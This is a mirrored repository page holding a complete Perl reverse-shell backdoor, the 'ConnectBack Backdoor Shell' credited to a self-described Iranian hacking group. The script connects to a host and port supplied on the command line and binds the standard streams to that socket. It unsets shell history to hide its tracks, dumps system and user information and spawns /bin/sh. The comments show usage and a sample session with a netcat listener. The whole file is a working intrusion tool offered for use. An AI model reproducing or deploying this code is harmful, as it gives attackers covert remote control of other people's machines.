mirror of
https://github.com/tennc/webshell
synced 2024-11-14 15:37:10 +00:00
61 lines
No EOL
2 KiB
Text
61 lines
No EOL
2 KiB
Text
#!/usr/bin/perl
|
|
use IO::Socket;
|
|
#IRAN HACKERS SABOTAGE Connect Back Shell
|
|
#code by:LorD
|
|
#We Are :LorD-C0d3r-NT
|
|
#Email:LorD@ihsteam.com
|
|
#
|
|
#lord@SlackwareLinux:/home/programing$ perl dc.pl
|
|
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
|
|
#
|
|
#Usage: dc.pl [Host] [Port]
|
|
#
|
|
#Ex: dc.pl 127.0.0.1 2121
|
|
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
|
|
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
|
|
#
|
|
#[*] Resolving HostName
|
|
#[*] Connecting... 127.0.0.1
|
|
#[*] Spawning Shell
|
|
#[*] Connected to remote host
|
|
|
|
#bash-2.05b# nc -vv -l -p 2121
|
|
#listening on [any] 2121 ...
|
|
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
|
|
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
|
|
#
|
|
#--==Systeminfo==--
|
|
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
|
|
#
|
|
#--==Userinfo==--
|
|
#uid=1001(lord) gid=100(users) groups=100(users)
|
|
#
|
|
#--==Directory==--
|
|
#/root
|
|
#
|
|
#--==Shell==--
|
|
#
|
|
$system = '/bin/sh';
|
|
$ARGC=@ARGV;
|
|
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
|
|
if ($ARGC!=2) {
|
|
print "Usage: $0 [Host] [Port] \n\n";
|
|
die "Ex: $0 127.0.0.1 2121 \n";
|
|
}
|
|
use Socket;
|
|
use FileHandle;
|
|
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
|
|
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
|
|
print "[*] Resolving HostName\n";
|
|
print "[*] Connecting... $ARGV[0] \n";
|
|
print "[*] Spawning Shell \n";
|
|
print "[*] Connected to remote host \n";
|
|
SOCKET->autoflush();
|
|
open(STDIN, ">&SOCKET");
|
|
open(STDOUT,">&SOCKET");
|
|
open(STDERR,">&SOCKET");
|
|
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
|
|
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
|
|
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
|
|
system($system);
|
|
#EOF |